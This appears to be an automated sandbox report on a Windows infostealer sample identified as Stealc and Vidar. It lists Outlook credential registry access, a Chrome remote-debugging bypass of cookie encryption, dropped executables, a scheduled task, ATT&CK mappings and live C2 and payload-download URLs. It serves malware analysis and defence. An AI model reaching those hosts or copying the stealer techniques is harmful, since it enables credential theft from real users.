Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\KJJJKFIIIJ.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 0.2.file.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: file.exe PID: 6768, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2731631245.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2731022617.0000000000D18000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6768, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6768, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB30C40 sqlite3_bind_zeroblob,	0_2_6CB30C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB30D60 sqlite3_bind_parameter_name,	0_2_6CB30D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA58EA0 sqlite3_clear_bindings,	0_2_6CA58EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB30B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CB30B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56410 bind,WSAGetLastError,	0_2_6CA56410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA560B0 listen,WSAGetLastError,	0_2_6CA560B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C030 sqlite3_bind_parameter_count,	0_2_6CA5C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56070 PR_Listen,	0_2_6CA56070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CA5C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E22D0 sqlite3_bind_blob,	0_2_6C9E22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA563C0 PR_Bind,	0_2_6CA563C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.Cerbu
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Documents\KJJJKFIIIJ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1012713001\BY5BeYh.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\BY5BeYh[1].exe	100%	Joe Sandbox ML
C:\Users\user\Documents\KJJJKFIIIJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://31.41.244.11/files/6453571829/BY5BeYh.exe#	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6453571829/BY5BeYh.exeXYZ0123456789	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6453571829/BY5BeYh.exe9B	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpB9	100%	Avira URL Cloud	malware
http://185.215.113.206F	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.php~fj	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dllVJ	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6453571829/BY5BeYh.exeKB	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6453571829/BY5BeYh.exe_b	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6453571829/BY5BeYh.exe	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php78	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php6055ea67f8c3dfc616e458778bb3Extension	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpF7u	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllDJ	100%	Avira URL Cloud	malware
http://185.215.113.206/#Z	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6453571829/BY5BeYh.exe/B	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dll#;WE4u	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllzJ	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www3.l.google.com	142.250.181.142	true	false	high
plus.l.google.com	142.250.200.238	true	false	high
www.google.com	172.217.21.36	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239378034177_1Y8HUQR0O0JRMMA4L&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.16/mine/random.exe	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239400684120_19KXYN61GL8LX8K23&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360172428_1P64HZ8YIC3KIBFKY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239400684121_1FNQVRXRLFI6QYKH4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239378034176_1VAY6I95TXDSQZZRC&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399109665_1344PV668L57B53FJ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239385916955_18M71XEVCBVYQN1KM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360432410_1ZT9L3WG863INPZDE&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239385916954_1I0G5LQAI2SQLV5XN&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360432411_13QPWJ00JGY7I4CI1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360172429_1FBLLBDCCPBGUQBS5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399109664_12R6JVR4SJZQSTHCV&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BFIDGDAK.0.dr	false		high
https://duckduckgo.com/ac/?q=	BFIDGDAK.0.dr	false		high
http://www.broofa.com	chromecache_211.4.dr	false		high
http://31.41.244.11/files/6453571829/BY5BeYh.exe#	skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2731022617.0000000000D18000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/6453571829/BY5BeYh.exeXYZ0123456789	skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2756051539.0000000023780000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAK.0.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	false		high
http://31.41.244.11/files/6453571829/BY5BeYh.exe9B	skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com	chromecache_211.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpB9	file.exe, 00000000.00000002.2756051539.000000002384A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206F	file.exe, 00000000.00000002.2731022617.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2756051539.0000000023780000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAK.0.dr	false		high
https://apis.google.com	chromecache_211.4.dr	false		high
http://185.215.113.206ta	file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php~fj	file.exe, 00000000.00000002.2731022617.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2752186147.000000001D810000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2778727239.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/6453571829/BY5BeYh.exe	skotes.exe, 0000001A.00000002.3391403923.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dllVJ	file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpge	file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	false		high
http://31.41.244.11/files/6453571829/BY5BeYh.exe_b	skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BFIDGDAK.0.dr	false		high
http://31.41.244.11/files/6453571829/BY5BeYh.exeKB	skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php78	file.exe, 00000000.00000002.2756051539.000000002384A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php6055ea67f8c3dfc616e458778bb3Extension	file.exe, 00000000.00000002.2731631245.000000000109C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FIEHIIIJDAAAAAAKECBF.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpF7u	skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BFIDGDAK.0.dr	false		high
http://185.215.113.206/#Z	file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/sqlite3.dllDJ	file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/6453571829/BY5BeYh.exe/B	skotes.exe, 0000001A.00000002.3391403923.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2756051539.0000000023780000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAK.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllzJ	file.exe, 00000000.00000002.2731022617.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11//Zu7JuNko/index.php	skotes.exe, 0000001A.00000002.3391403923.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2756051539.0000000023780000.00000004.00000020.00020000.00000000.sdmp, BFIDGDAK.0.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_211.4.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dll#;WE4u	file.exe, 00000000.00000002.2731022617.0000000000D44000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org	EGDBFIIECBGDGDGDHCAKKFBFIE.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2731022617.0000000000CFE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2731631245.000000000109C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2731631245.0000000001054000.00000040.00000001.01000000.00000003.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BFIDGDAK.0.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2731022617.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, FIEHIIIJDAAAAAAKECBF.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpo	skotes.exe, 0000001A.00000002.3391403923.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.200.238	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.181.142	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570294
Start date and time:	2024-12-06 18:44:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/53@6/10
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 217.20.58.98, 172.217.21.35, 172.217.19.238, 64.233.162.84, 172.217.17.78, 172.217.21.42, 142.250.181.106, 142.250.181.74, 172.217.17.74, 172.217.19.10, 172.217.19.202, 142.250.181.10, 216.58.208.234, 172.217.19.234, 172.217.17.42, 142.250.181.138, 172.217.19.170, 142.250.181.42, 20.234.120.54
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, tse1.mm.bing.net, clientservices.googleapis.com, ogads-pa.googleapis.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ris.api.iris.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:45:39	API Interceptor	246x Sleep call for process: file.exe modified
12:47:03	API Interceptor	89x Sleep call for process: skotes.exe modified
18:46:08	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	3fo6GN17jm.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ax-0001.ax-msedge.net	vUlh7stUHJ.exe	Get hash	malicious	XWorm	Browse	150.171.27.10
	NqL7rahvbn.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	FtHrPhyWnh.exe	Get hash	malicious	TrojanRansom	Browse	150.171.28.10
